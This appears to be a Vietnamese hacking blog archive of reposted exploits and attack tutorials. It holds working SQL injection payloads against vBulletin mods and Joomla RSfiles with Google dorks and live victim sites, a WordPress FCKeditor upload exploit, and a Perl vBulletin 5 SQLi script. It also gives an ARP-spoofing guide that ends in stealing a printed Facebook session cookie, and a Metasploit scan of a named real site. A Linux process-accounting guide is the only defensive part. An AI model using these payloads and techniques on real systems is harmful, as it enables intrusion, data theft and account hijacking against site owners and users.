19 thg 4, 2013

no image

Bug SHOP Guny Cương Hóa Guny

# # # # # # # # # # # # # # # # # # # # # # # # # # # # ## ## #
# Exploit Title: SHOP Guny Cương Hóa Guny #
# Google Dork: n/a #


# Date: 16/4/13 #
# Exploit Author: VnDragon - VHB #
# Code Mod: http://www.vietvbb.vn/up/showthread.php?t=67076 #
# Version: [2.0.1] #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # ## ## #

Code:
Exploit: http://victim.com/tudo.php?tudo=matkieng&id=1' [SQL]
Exploit: http://victim.com/tudo.php?tudo=mat&id=1' [SQL]
Exploit: http://http://victim.com/tudo.php?tudo=ao&id=1' [SQL]
Exploit: http://http://victim.com/tudo.php?tudo=toc&id=1' [SQL]
Exploit: http://http://victim.com/tudo.php?tudo=non&id=1' [SQL]
Exploit: http://http://victim.com/tudo.php?tudo=trangsuc&id=1' [SQL]
Exploit: http://http://victim.com/tudo.php?tudo=canh&id=1' [SQL]
Exploit: http://http://victim.com/tudo.php?tudo=vukhi&id=1' [SQL]
File: tudo.php, Line: 372 and more fille.
PHP Code:
$id $_GET['id']; 
Fix

Find
PHP Code:
$id $_GET['id']; 
And Replace

PHP Code:
$id addslashes($_GET['id']); 

Demo: http://jrockhome.com/tudo.php?tudo=mat&id=1'

Note: Phải có items mới tiến hành exploit được.
no image

(Final 2.1) Hệ thống RPG PET

# # # # # # # # # # # # # # # # # # # # # # # # # # # # ## ## #
# Exploit Title: (Final 2.1) Hệ thống RPG PET #
# Google Dork: n/a #
# Date: 15/4/13 #
# Exploit Author: VnDragon - VHB #
# Code Mod: http://www.vietvbb.vn/up/showthread.php?t=40921 #
# Version: [2.1] #
# Thank concobe #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # ## ## #
Exploit: http://victim.com/rpg.php?do=battle&type=monster&id=-1' [SQL]
File: battle.php, Line: 11 and more fille.
Code:

PHP Code:
$idmon $_GET['id']; 
Fix

Find
PHP Code:
$idmon $_GET['id']; 
And Replace

PHP Code:
$idmon addslashes($_GET['id']); 


Demo: http://nguyenmy.net/forum/rpg.php?do...=monster&id=-1'
no image

Fun Shop mod Vbulletin SQL injection


Như đã hứa thì hôm nay mình sẽ cung cấp một cái bug của 1 mod cũng khá nhiều forum đang sử dụng bị dính lỗi SQL injection và có thể bị khai thác và chiếm quyền, dưới đây là thông tin lỗi:

Mod lỗi: Fun Shop
Author: http://www.vietvbb.vn/up/showthread.php?t=43945
version: All
Dork: inurl:/fshop.php?do=buy&id=
link lỗi: /fshop.php?do=buy&id=SQL Injection
Exploit by: concobe & bula -VHB- huynhdegroup.net

Điều kiện bắt buộc phải có là:
1. victim có cài mod Fun Shop
2. Attacker phải có tài khoản trên victim và đã login vào.

Query giả sử id=6:
/fshop.php?do=buy&id=-6' union select 1,2,3,4,5,6,7,8,9,10-- -
cột lỗi gồm 5,6,7,8

lấy version() :
/fshop.php?do=buy&id=-6' union select 1,2,3,4,version(),6,7,8,9,10-- -
xxx xxx xxx

Đến đây thì có lẽ mọi người hoàn toàn có thể làm những gì mình cần rồi. Mình không ghi ra luôn tất cả những câu query để lấy những thông tin quan trọng mục đích để mọi người tự query và làm phần còn lại để hiểu hơn những gì mình cần làm.
Một số server sẽ có chặn và lọc các truy vấn nguy hiểm nên mọi người có thể dùng thêm những cách bypass khi SQL injection thông thường là sẽ làm được.

Fix lỗi:
Do dạo này đang bận nên chưa đưa ra được bản fix lỗi cho mod này được. Bạn nào có thời gian và điều kiện giúp mình bổ xung phần fix lỗi mod này dùm.

Cuối cùng vui lòng để lại dòng này khi leech đi các nơi khác dùm:
Exploit by: concobe & bula -VHB- huynhdegroup.net

---------- Post added at 08:54 PM ---------- Previous post was at 08:49 PM ----------

Live demo: http://teamhacker.us/forum/
sorry Tim Rơi Lệ
no image

WordPress fckeditor-for-wordpress-plugin (FCKeditor) Remote File Upload

 WordPress fckeditor-for-wordpress-plugin (FCKeditor) Remote File Upload 





#################################
#
# Exploit Title : WordPress fckeditor-for-wordpress-plugin (FCKeditor) Remote File Upload
#
# Software Link : http://wordpress.org/extend/plugins/fckeditor-for-wordpress-plugin/
#
# Security Risk : High
#
# Version       : All Version
#
# Tested on     : GNU/Linux Ubuntu - Windows Server - win7
#
# Dork          : inurl:plugins/fckeditor-for-wordpress-plugin
#
#################################
#
#  Expl0iTs :
#
#  [TarGeT]/wp-content/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/browser/default/frmupload.html
#
#################################
#
#  D3m0 :
#
#  http://gialongvn.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/browser/default/frmupload.html
#
#  http://www.ipswichgolf.org.au/wp-content/plugins/fckeditor_for_wordpress/filemanager/browser/frmupload.html
#
#################################
no image

vBulletin 5.0.0 Beta 11 - 5.0.0 Beta 28 - SQL Injection


vBulletin 5.0.0 Beta 11 - 5.0.0 Beta 28 - SQL Injection



# Exploit Title: vBulletin 5 Beta XX SQLi 0day# Google Dork: "Powered by vBulletin™ Version 5.0.0 Beta"
# Date: 24/03/2013
# Exploit Author: Orestis Kourides
# Vendor Homepage: www.vbulletin.com
# Software Link:
# Version: 5.0.0 Beta 11 - 5.0.0 Beta 28
# Tested on: Linux
# CVE : None

#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
use MIME::Base64;
system $^O eq 'MSWin32' ? 'cls' : 'clear';
print "
+===================================================+
|           vBulletin 5 Beta XX SQLi 0day           |
|              Author: Orestis Kourides             |
|             Web Site: www.cyitsec.net             |
+===================================================+
";
 
if (@ARGV != 5) {
    print "\r\nUsage: perl vb5exp.pl WWW.HOST.COM VBPATH URUSER URPASS MAGICNUM\r\n";
    exit;
}
 
$host       = $ARGV[0];
$path       = $ARGV[1];
$username   = $ARGV[2];
$password   = $ARGV[3];
$magicnum   = $ARGV[4];
$encpath    = encode_base64('http://'.$host.$path);
print "[+] Logging\n";
print "[+] Username: ".$username."\n";
print "[+] Password: ".$password."\n";
print "[+] MagicNum: ".$magicnum."\n";
print "[+] " .$host.$path."auth/login\n";
my $browser = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;
my $response = $browser->post( 'http://'.$host.$path.'auth/login',
    [
        'url' => $encpath,
        'username' => $username,
        'password' => $password,
    ],
    Referer => 'http://'.$host.$path.'auth/login-form?url=http://'.$host.$path.'',
    User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',
);
$browser->cookie_jar( $cookie_jar );
my $browser = LWP::UserAgent->new;
$browser->cookie_jar( $cookie_jar );
print "[+] Requesting\n";
my $response = $browser->post( 'http://'.$host.$path.'index.php/ajax/api/reputation/vote',
    [
        'nodeid' => $magicnum.') and(select 1 from(select count(*),concat((select (select concat(0x23,cast(version() as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338',
    ],
    User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',
);
$data = $response->content;
if ($data =~ /(#((\\.)|[^\\#])*#)/) { print '[+] Version: '.$1 };
print "\n";
exit 1;</pre>
<b>&nbsp;</b></div>
no image

Joomla RSfiles Component (cid param) - SQL Injection Vulnerability

Joomla RSfiles Component (cid param) - SQL Injection Vulnerability

 

*******************************************************************************
# Title   :  Joomla Component RSfiles <= (cid) SQL injection Vulnerability
# Author  :  ByEge
# Contact :  http://byege.blogspot.com
# Date    :  18.03.2013
# S.Page  :  http://www.rsjoomla.com
# Dork    :  inurl:index.php?option=com_rsfiles
# DorkEx  :  http://www.google.com.tr/#hl=tr&sclient=psy-ab&q=inurl:index.php?option=com_rsfiles

Vulnerability : ?option=com_rsfiles&view=files&layout=agreement&tmpl=component&cid=1/**/aNd/**/1=0/**/uNioN++sElecT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--

[[SQL Injection Test]]]

http://server/?option=com_rsfiles&view=files&layout=agreement&tmpl=component&cid=1/**/aNd/**/1=0/**/uNioN++sElecT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--

*********************************
# Turkey.

 [LAN ATTACK] Man In The Middle

[LAN ATTACK] Man In The Middle

Phương pháp tấn công đc hình dung qua chính cái tên gọi của nó.Là một phương pháp cơ bản và làm nền tảng chung cho nhiều kĩ thuật tấn công.Ở đây attacker đóng vai trò là người trung gian,đứng giữa,giả mạo trong phiên làm việc giữa victim và một máy chủ nào đó.Mọi gói tin xuất phát từ victim đến máy chủ hay ngược lại đề đi qua máy attacker ,nếu đc attacker forward .
Xem mô hình dưới đây:



Ta thấy attacker đã chèn vào giữa phiên giao dịch của victim và máy chủ.Vậy làm sao attacker làm đc điều này.Và các công cụ sniffer dùng phương pháp MITM như thế nào.
Đầu tiên nói sơ qua cơ chế giao tiếp bình thường giữa victim và máy chủ khi attacker chưa tác động lên hệ thống.Khi 2 host giao tiếp với nhau,chúng cần địa chỉ nguồn và địa chỉ đích đến.Và do hiện nay người ta dùng các giao thức khác nhau trên tầng giao vận(IP,IPX) ,chính vì thế dẫn đến việc không thống nhất đối với các thiết bị .Có thể thiết bị này tương thích nhưng thiết bị khác lại không.Chính vì vậy sinh ra việc dùng ip MAC.Xem như là một tiêu chuẩn chung tương thích với các thiết bị khác nhau.Nhưng làm sao để từ IP có thể phiên ra ip MAC và ngược lại.Việc phiên dịch này là do giao thức ARP (address resolution protocol) thực hiện.
Ta xem xét một bản tin ARP để thấy được việc phiên dịch IP-MAC.Một bản tin arp gồm các trường sau:



Hardware type :Qui định kiểu của phần cứng.
HW addr length : Cho biết độ dài của địa chỉ MAC ( ghi bằng mã hex)
Protocol type : Cho biết kiểu của giao thức.
Protocol addr length : Cho biết độ dài của địa chỉ IP
Opcode : thể hiện đây là bản tin request (1) hay là bản tin reply (2)
Các trường còn lại như source hardware address ,source protocol address,destination hardware addres ,destination protocol addresss cho biết địa chị vật lí và địa chỉ ip của máy nguồn và máy đích.

Một bản tin arp với thông tin cụ thể có dạng như sau:


Ở ví dụ này miêu tả một bản tin của một máy có IP là 192.168.1.1 gửi một bản tin request đến máy có ip là 192.168.1.2
Quá trình đi của gói tin như sau.Máy có ip LÀ 192.168.1.1 gửi một request trong đó có chứ ip và mac của nó,kèm với ip đích đến. Module address resolution sẽ có nhiệm vụ chuyển địa chỉ logic của đích đến thành địa chỉ vật lí.Tiếp tục nó so sánh cặp địa chỉ này với bảng ánh xạ lưu trên ARP cache.Nếu trung lặp thì nó ghi các giá trị này vào ,rồi gửi lại về máy chủ dưới dạng bản tin reply .Nếu không trùng lặp thì nó sẽ gửi tiếp bản tin ARP request đến địa chỉ đích là địa chỉ broadcast (để có thể hỏi hết tất cả máy có trong mạng lan).

Hình thức tấn công này chỉ có tác dụng thực trên mạng LAN.Vì nếu trên mạng WAN,Tại các nut mạng router nó có khả năng ngăn chặn các gói tin broadcast.



Căn cứ vào cơ chế như vậy.Attacker đứng giữa.Liên tục gửi những gói arp reply cho máy chủ và liên tục gửi các gói arp request cho victim.Làm cho cả máy chủ lẫn victim đều hiểu nhầm đối tượng mình đang giao tiếp là ai.

Hiện nay có rất nhiều tool dùng nguyên lí này để sniff các thông tin .Ví dụ như dsnif,ettercap,cain ,sniffer pro,wireshark,Network Monitor,Ethereal.
Chúng ta sẽ demo các công cụ này.
Đây tiên là demo giả mạo arp trên backtrack [ Phần này mình lấy từ blog capuchino cho nhanh ]


Đầu tiên mở terminal lên.
sửa lại file ip_forward bằng lệnh echo và toán tử viết chèn vào cuối file >> (để cho phép ip đc forward)
sudo echo 1 >> /proc/sys/net/ipv4/ip_forward
xong rồi đọc lại file này xem đã ghi thành công chưa nhé,nếu nhận đc là 1 thì là oke
cat /proc/sys/net/ipv4/ip_forward
giả sử ip của victim là 192.168.201.129
trong đó gateway là 192.168.201.2

ta tiếp tục
arpspoof -i eth0 -t 192.168.201.2 192.168.201.129
(nó update lại bản arp cache)
sau khi nó chạy,thì terminal này bị busy,ta ko thể thao tác lệnh tiếp,vì nó phải giữ session lại.
Rất may trên backtrack cho phép ta thao tác đa nhiệm.
Mở 1 terminal khác lên,gõ screen rồi enter .


trên terminal mới tiếp tục
arpspoof -i eth0 -t 192.168.201.129 192.168.201.2



lúc này thì 2 terminal trong nó như vậy.

tiếp tục do terminal này bận nên ta tiếp tục mở 1 terminal khác,type screen và enter.
trên terminal mới ta mở trình driftnet lên
type:sudo driftnet -i eth0.



tiếp tục mở terminal mới,type screen rồi type tiêp
sudo urlsnarf -i eth0
bây giờ nó sẽ lắng nghe trên các port 80,8080 hoặc 3128


Giải sử bi giờ trên victim vào trang google tìm với từ khóa capuchino chẳng hạn nha
thì trên driftnet của mình sẽ bắt đc gói tin hình ảnh truyền về ip 192.168.201.129


đây là hình ảnh trên victim:



đây là hình ảnh get đc và hiện lên driftnet:



ương tự như thế,đối với các trang khác mình cũng xem đc thông tin.biết đc victim làm gì.Xem trên terminal.
Chẳng hạn như xem hình dưới đây,ta thấy victim đang lượn lờ trong vhbsystem



Cain and Abel:

Mình demo bộ tool này trên win7.
đầu tiên down Cain and Abel về ở đây http://www.softpedia.com/progDownloa...oad-38678.html
trước khi cài đặt Cain cần cài đặt WinPcap trước,để tí nữa nó tự tìm card mạng cho mình.Tải WinPcap về ở đây http://www.winpcap.org/install/default.htm
Sau khi cài đặt ,trước khi chạy thì ta chú ý tắt tường lửa đi.Vì để tường lửa có thể sẽ không thực hiện đc.
Mở cain lên chúng ta thấy giao diện ban đầu của nó như sau :


Đầu tiên cần phải config cho nó,ta vào Configure chọn Netword Adapter thích hợp



Sau đó chúng ta scan danh sách host có trong mạng nội bộ.Ấn vào biểu tưởng dấu + màu xanh (hoặc chọn trên thành menu File -Add to list).Rồi Ok



CHuyển sang tab ARP



Kích lên khung trống rồi chọn tiếp biểu tượng + màu xanh để add host victim cần tấn công vào (File - Add to list )

Ta kích chọn vào địa chỉ default gateway đầu tiên rồi Add để add tất cả các host trong mạng nội bộ vào.Tiếp theo chọn victim cần tấn công giả mạo ARP rồi ok.Victim mình chọn ở đây có IP là 192.168.247.128 .



ta kích tiếp vào đối tượng ta vừa add vào rồi chọn Start Arp



Ta sẽ thấy từ chế độ idle nó sẽ chuyển sang chế độ Poisonning



bây giờ ta sẽ chờ đợi lắng nghe và bắt các gói tin khi victim giao tiếp với máy chủ.Ví dụ như trên máy victim thực hiện một giao tiếp với giao thức http .Ta bắt được như sau



tương tự với nhiều gói tin khác cũng thế.Căn bản của việc dùng cain là vậy.Có thời gian các bạn nên nghiên cứu kĩ hơn.Các chức năng mà cain tích hợp.Có rất nhiều lựa chọn làm đa dạng quá trình tấn công,ví dụ như có các option giúp chúng ta chọn một IP hoặc MAC giả mạo,hoặc có thể dùng chính địa chỉ của chúng ta.Vân Vân.

Ettercap:Bộ công cụ được mệnh danh là Lord of the tokenring.

Trên thực tế thì đây là bộ công cụ dùng để phân tích các gói tin đc trao đổi với máy tính.Nguyên tắc làm việc của nó cũng là giả danh địa chi MAC để cho máy đích và máy nguồn nhầm tưởng là đang trao đổi thông tin với nhau.Nhưng thực chất là qua máy có cài ettercap.
Mình sẽ trình bày demo về ettercap với Backtrack .Nếu không có bạn có thể tải về và chạy trên mọi hệ điều hành.
Bộ ettercap đc hỗ trợ nhiều interface khác nhau.
ở đây có 4 interface,mình demo với curses GUI và GTK+GUI
để vào giao diện curses GUI ta gõ dòng lệnh
#ettercap -C
Giao diện xuất hiện như thế này


Ta cấu hình cho nó như sau
Đầu tiên vào Sniff - Unified sniffing để chọn card mạng





Lúc này đang ở chế độ lắng nghe.Nếu trên mạng nội bộ có một máy nào đó thao tác giao tiếp với mạng,Thì ta có thể bắt đc các bản tin này.



ở đây cho thấy có một victim trong mạng lan và máy đich có địa chỉ ip 115.77.208.206 có trao đổi các gói tin với nhau với nội dung thông tin có chứa user và pass.Đây là chúng ta bắt gói tin một cách tràn lan trên mạng nội bộ.Muốn bắt đc chính xác từ một victim nào đó.Mà chúng ta mục đích sẵn.Thì đầu tiên ta scan host
Trên menu bar chọn Hosts - Scan for host
Nó sẽ scan toàn bộ netmask cho chúng ta.Tiếp theo ta chọn tấn công theo hình thức giả mạo ARP .Vào menu MITM - Arp poisoning



Chọn xong nó sẽ hiện ra khung báo chọn parameter,ta bỏ qua không chọn nhấn enter.Nhận đc User messages như sau:



Để tìm tên victim chúng ta muốn bắt bản tin tao vào Menu :View -Connections



Gói host nào đang ở chế độ active thì ta có thể bắt đc.Và xem nó bằng cách kick vào host đấy,bản tin xem được đc viết dưới dạng đã mã hóa



Để lưu lại thì ta chọn Logging - Log all packets and infos....
để sau này ta có thể xem lại.

Đối với interface dùng GTK+GUI thì dễ dùng hơn.Mở lên bằng lệnh
#ettercap -G




Chọn card mạng



Scan host:Hosts->Scan for hosts



Chọn tiếp :Hosts ->host list hiện ra như sau



Add gateway vào target 2 và victim vào target 1 , rồichọn Mitm -Arp Poisoning , hiện ra optional parameters



tiếp theo Start - Start sniffing để bắt đầu sniff thôi .
Đây là một bản tin có chứa user và pass ta sniff đc từ victim

[COLOR="Silver"]

---------- Post added at 01:15 PM ---------- Previous post was at 01:11 PM ----------

Bộ công cụ test wireshark (Phần này lấy từ blog capuchino .Lần trứoc hướng dẫn capuchino,nên giờ lấy lại công gõ).

đầu tiên ta tải bộ công cụ scan wireshark ở trang chủ wireshark.org về cài đặt.Trước khi cài đặt cái này thì phải tại winPcap về đã.Để tí nữa nó tìm card mạng cho mình [ trang chủ của winPcap ở đây nhé http://www.winpcap.org/install/default.htm ].
Tải xong về mở lên thì đại loại nó có giao diện như thế này



Ta kích vào Interface list để hiện ra danh sách card mạng.
Chọn card mạng mình cần scan.



Sau khi khung capture Interfaces hiện lên thì chọn card [ hoặc network cần scan nhé ].
Bấm start.
Sau khi scan một lúc thì cho nó dừng lại.Scan vừa đủ thôi,chứ chờ nó xong lâu lắm.Tùy lúc mà cho nó dừng lại .

ta thấy các session mà nó scan đc,thông qua các giao thức khác nhau .



Ta mở khung search lên để dễ tìm thấy mục tiêu (Ctrl f)
hoặc Edit /Find packages

Mở lên rồi ta chọn các tùy chọn như search string,Package details

[IMG]http://4.bp.blogspot.com/-2F3nRbE8Pg0/UUJTgxvsuII/AAAAAAAAAaA/lYxvnZYdRK8/s320/04.png[IMG]

rồi nhập vào chữ datr (cái này là kinh nghiệm thôi,trong cookie facebook nó có chữ này ấy mà.

sau khi seach xong
ta tìm đc một đối tượng như sau



ta thấy ngay dòng [truncated ] cookie:datr.....
copy dòng này ra notepad,lấy 2 trường sau,cho vào addon cookie manage của firefox
c_user=100004847377632; xs=60%3AWKLE4Ztc9cjSBg%3A0%3A1363298090
để copy đc thì ta kích chuột phải chọn copy/bytes/Printable text only



sau đó add các trường này vào cookie manager



bấm add ,tương tự nhập cho trường xs



f5 và xem thành quả
no image

Dò tìm dấu vết chỉnh sửa được thực hiện trên hệ thống Linux

Hoạt động xâm phạm có thể đến từ cả hai phía: người dùng đã biết (nội bộ) và người dùng không xác định (từ bên ngoài). Kinh nghiệm cá nhân của tôi chỉ ra rằng những người không hạnh phúc hay không bằng lòng với cuộc sống thường gây nguy hiểm cho hệ thống của bạn, nhất là khi họ có lớp vỏ bọc truy cập hợp pháp. Một số người khá thông minh, loại bỏ file history (như: ~/.bash_history) hòng tránh bị phát hiện. Nhưng bạn vẫn hoàn toàn có thể giám sát tất cả lệnh thực thi của người dùng.

Lời khuyên ở đây là bạn nên kiểm soát hoạt động người dùng bằng cách sử dụng chương trình xử lý accounting. Chương trình xử lý accounting cho phép bạn xem xét mọi lệnh do người dùng thực thi với thời gian sử dụng CPU và bộ nhớ. Nhờ chương trình này, người quản trị sẽ luôn tìm ra được mọi lệnh thực thi ở bất kỳ thời gian nào.

Gói xử lý accounting gồm một số tiện ích giám sát các hoạt động chương trình như ac, lastcomm, accton và sa.

• Câu lệnh "ac" thể hiện lượng thời gian người dùng đăng nhập hệ thống.
• Câu lệnh "lastcomm" cho biết thông tin của các lệnh thực thi trước đó.
• Câu lệnh "accton" bật tắt chương trình xử lý accounting.
• Câu lệnh "sa" tóm tắt thông tin về các lệnh được thực thi trước đó.

Cài đặt gói psact hoặc acct

Dùng lệnh up2date nếu bạn đang dùng RHEL:

# up2date psacct

Dùng lệnh yum nếu bạn đang dùng nhân Linux CentOS/Fedora:

# yum install psacct

Dùng lệnh apt-get nếu bạn đang dùng Linux Ubuntu / Debian:

$ sudo apt-get install acct OR # apt-get install acct

Khởi động dịch vụ psacct/acct

Mặc định, dịch vụ này khởi động trên Ubuntu / Debian Linux bằng cách tạo ra file "/var/account/pacct". Nhưng ở hệ điều hành Red Hat /Fedora Core/Cent OS, bạn cần tự khởi động "psacct". Gõ hai lệnh sau để tạo file "/var/account/pacct" và khởi động các dịch vụ:

# chkconfig psacct on
# /etc/init.d/psacct start

Nếu bạn đang dùng Suse Linux, tên của dịch vụ là "acct". Gõ các lệnh sau:

# chkconfig acct on
# /etc/init.d/acct start

Bây giờ chúng ta hãy xem cách khai thác các tiện ích này để giám sát lệnh và thời gian người dùng.

Hiển thị số liệu thời gian kết nối của người dùng

Câu lệnh "ac" đưa ra số liệu thời gian kết nối theo giờ dựa trên các lệnh login/logout. Số lượng tổng cộng cũng được đưa ra. Nếu bạn gõ lệnh "ac" không có bất kỳ tham số nào, nó sẽ đưa ra lượng thời gian kết nối tổng:

$ ac

Xuất ra:

total 95.08

Hiển thị lượng tổng cộng theo từng ngày tốt hơn là chỉ có một kết quả tổng lớn vào thời điểm cuối cùng:

$ ac -d

Xuất ra:

Nov 1 total 8.65
Nov 2 total 5.70
Nov 3 total 13.43
Nov 4 total 6.24
Nov 5 total 10.70
Nov 6 total 6.70
Nov 7 total 10.30
.....
..
...
Nov 12 total 3.42
Nov 13 total 4.55
Today total 0.52

Hiển thị thời gian tổng cộng của từng người dùng để thêm vào giá trị "mọi thứ trong một" thông thường:

$ ac -p

Xuất ra:

vivek 87.49
root 7.63
total 95.11

Tìm ra thông tin các lệnh người dùng thực thi trước đó

Sử dụng câu lệnh lastcomm để đưa ra thông tin các lệnh người dùng thực thi trước đó. Bạn có thể tìm kiếm lệnh bằng cách sử dụng username (tên người dùng), tty name, hoặc bằng tên của chính câu lệnh.

Ví dụ hiển thị lệnh do người dùng "vivek" sử dụng:

$ lastcomm vivek

Xuất ra:

userhelper S X vivek pts/0 0.00 secs Mon Nov 13 23:58
userhelper S vivek pts/0 0.00 secs Mon Nov 13 23:45
rpmq vivek pts/0 0.01 secs Mon Nov 13 23:45
rpmq vivek pts/0 0.00 secs Mon Nov 13 23:45
rpmq vivek pts/0 0.01 secs Mon Nov 13 23:45
gcc vivek pts/0 0.00 secs Mon Nov 13 23:45
which vivek pts/0 0.00 secs Mon Nov 13 23:44
bash F vivek pts/0 0.00 secs Mon Nov 13 23:44
ls vivek pts/0 0.00 secs Mon Nov 13 23:43
rm vivek pts/0 0.00 secs Mon Nov 13 23:43
vi vivek pts/0 0.00 secs Mon Nov 13 23:43
ping S vivek pts/0 0.00 secs Mon Nov 13 23:42
ping S vivek pts/0 0.00 secs Mon Nov 13 23:42
ping S vivek pts/0 0.00 secs Mon Nov 13 23:42
cat vivek pts/0 0.00 secs Mon Nov 13 23:42
netstat vivek pts/0 0.07 secs Mon Nov 13 23:42
su S vivek pts/0 0.00 secs Mon Nov 13 23:38

Thông tin được đưa ra theo từng dòng. Ví dụ với dòng đầu tiên:

userhelper S X vivek pts/0 0.00 secs Mon Nov 13 23:58

Trong đó:

- userhelper: là tên lệnh chương trình

- S và X: là các cờ, ghi lại bởi kiểu định tuyến tài khoản hệ thống. Ý nghĩa của các cờ gồm:

S - câu lệnh thực thi bởi siêu người dùng.
F - câu lệnh thực thi sau khi rẽ nhánh nhưng sau đó không làm gì nữa.
D - câu lệnh kết thúc bằng một file lõi chung.
X - câu lệnh được kết thúc bằng dấu hiệu SIGTERM.
- vivek: tên người dùng chạy chương trình này.

- prts/0: tên mở rộng.

- 0.00 secx: thời gian thực thi chương trình.

Tìm kiếm các file log tính toán bằng tên lệnh:

$ lastcomm rm
$ lastcomm passwd

Xuất ra:

rm S root pts/0 0.00 secs Tue Nov 14 00:39
rm S root pts/0 0.00 secs Tue Nov 14 00:39
rm S root pts/0 0.00 secs Tue Nov 14 00:38
rm S root pts/0 0.00 secs Tue Nov 14 00:38
rm S root pts/0 0.00 secs Tue Nov 14 00:36
rm S root pts/0 0.00 secs Tue Nov 14 00:36
rm S root pts/0 0.00 secs Tue Nov 14 00:35
rm S root pts/0 0.00 secs Tue Nov 14 00:35
rm vivek pts/0 0.00 secs Tue Nov 14 00:30
rm vivek pts/1 0.00 secs Tue Nov 14 00:30
rm vivek pts/1 0.00 secs Tue Nov 14 00:29
rm vivek pts/1 0.00 secs Tue Nov 14 00:29

Tìm kiếm các file log tính toán bằng tên mở rộng pts/1

$ lastcomm pts/1

Tóm tắt thông tin tính toán

Dùng lệnh sa để đưa ra thông tin tóm tắt về các lệnh được thực thi trước đó. Hơn nữa các thông tin này còn ép dữ liệu để đưa vào một file tóm tắt có tên "savacct", gồm thời gian lệnh được gọi và tài nguyên hệ thống được dùng. Thông tin cũng có thể được tóm tắt theo từng người dùng cơ sở. "sa" sẽ ghi thông tin vào một file có tên "usracct".

# sa

Xuất ra:

579 222.81re 0.16cp 7220k
4 0.36re 0.12cp 31156k up2date
8 0.02re 0.02cp 16976k rpmq
8 0.01re 0.01cp 2148k netstat
11 0.04re 0.00cp 8463k grep
18 100.71re 0.00cp 11111k ***other*
8 0.00re 0.00cp 14500k troff
5 12.32re 0.00cp 10696k smtpd
2 8.46re 0.00cp 13510k bash
8 9.52re 0.00cp 1018k less

Ví dụ với dòng đầu tiên:

4 0.36re 0.12cp 31156k up2date

Trong đó:

• 0.36re: "thời gian thực" (theo phút của đồng hồ treo tường).
• 0.12cp: tổng thời gian sử dụng CPU của hệ thống và người dùng (theo phút).
• 31156k: thời gian sử dụng CPU trung bình (theo đơn vị k).
• up2date: tên lệnh.

Hiển thị thông tin với từng người dùng:

# sa -u

Xuất ra:

root 0.00 cpu 595k mem accton
root 0.00 cpu 12488k mem initlog
root 0.00 cpu 12488k mem initlog
root 0.00 cpu 12482k mem touch
root 0.00 cpu 13226k mem psacct
root 0.00 cpu 595k mem consoletype
root 0.00 cpu 13192k mem psacct *
root 0.00 cpu 13226k mem psacct
root 0.00 cpu 12492k mem chkconfig
postfix 0.02 cpu 10696k mem smtpd
vivek 0.00 cpu 19328k mem userhelper
vivek 0.00 cpu 13018k mem id
vivek 0.00 cpu 13460k mem bash *
lighttpd 0.00 cpu 48240k mem php *

Hiển thị số lượng chương trình và số phút sử dụng CPU ở từng người dùng cơ bản:

# sa -m

Xuất ra:

667 231.96re 0.17cp 7471k
root 544 51.61re 0.16cp 7174k
vivek 103 17.43re 0.01cp 8228k
postfix 18 162.92re 0.00cp 7529k
lighttpd 2 0.00re 0.00cp 48536k

Tìm ra ai là người đang chiếm lĩnh CPU

Bằng cách nhìn vào thành phần thời gian "re, k, cp/cpu" (xem phần giải thích ở trên), bạn có thể tìm ra hoạt động đáng ngờ hoặc tên của người dùng, tên lệnh đang chiếm lĩnh toàn bộ CPU. Thời gian cũng như dung lượng sử dụng CPU (hoặc bộ nhớ) tăng lên tức là có vấn đề xuất hiện.

Hãy lưu ý các lệnh ở trên cũng như các gói ở nhiều hệ điều hành tựa UNIX khác (như Sun Solaris và *BSD chẳng hạn).

18 thg 4, 2013

[Metasploit] Scan victim ( Một trong những bước quan trọng khi check site)

[Metasploit] Scan victim ( Một trong những bước quan trọng khi check site)

Mình đã viết một bài về Metasploit framwork rồi.
Phần này mình viết tiếp về nó.Dù nó ko liên quan gì lắm với nhau )
Phần này mình đề cập tiếp đến vấn đề scan mục tiêu cần attack đã nói trong phần trước.



Scan mục tiêu là vấn đề rất quan trọng.thu thập đc càng nhiều thông tin càng tốt.Chả thừa gì đối với chúng ta cả.
Trong metasploit framework có một module sử dụng bộ công cụ scan nmap .Trong quá trình họat động nó sử dụng giữ liệu thu đc bằng quá trình scan bởi nmap một cách tự động.
Như mình từng đề cập ở nhiều bài trước.Làm gì thì làm.Trước khi dùng mấy bộ công cụ này thì tốt nhất là nên update trước.Dữ liệu của nó cập nhật theo ngày.Nên update là ko thừa.

Step1: Vào msfconsole ,rồi type db_nmap

root@bt:~# msfconsole
msf > db_nmap

[*] Usage: db_nmap [nmap options]


Nhận đc thông báo nmap_option --> ta có thể sử dụng các option của nmap thông thường.
Thử scan victim nào đó nhé.Hộm nó mới có con shell trên honda67.com mấy mem up lên huynhdegroup.net.Hôm nay vào tên nào đã deface rồi.Nên lấy nó test luôn.
Ip của honda67.com là 112.78.2.15
msf > db_nmap 112.78.2.15



Ta nhận đc các thông tin về port.Có khá nhiều port mở.Từ những port mở này ta định hình đc khá nhiều điều.Đề cập ở đây không hết đc.Mình chỉ đưa ra một vài ví dụ thôi.Như thấy có mở port 143 chẳng hạn.Lên exploit-db.com xem sao.

Thấy có khá nhiều exploit liên quan.Đây là 1 số ví dụ:
http://www.exploit-db.com/exploits/4574/
http://www.exploit-db.com/exploits/5259/
http://www.exploit-db.com/exploits/3133/
http://www.exploit-db.com/exploits/1123/
http://www.exploit-db.com/exploits/658/
....................
Điểm yếu là thế.Nhưng có khai thác được hay không thì còn phụ thuộc vào rất nhiều yếu tố nữa.Scan giúp ta mở rộng hơn phương hướng cần tấn công.Nghĩa là càng nhiều thông tin thu được thì khả năng có thể tấn công được càng cao.

Nếu là tấn công trong mạng Lan thì ta có thể kiểm tra đầy đủ hơn toàn bộ miền Lan bằng lệnh "services".
Đây là một ví dụ.Nó scan tất cả các dịch vụ được mở.



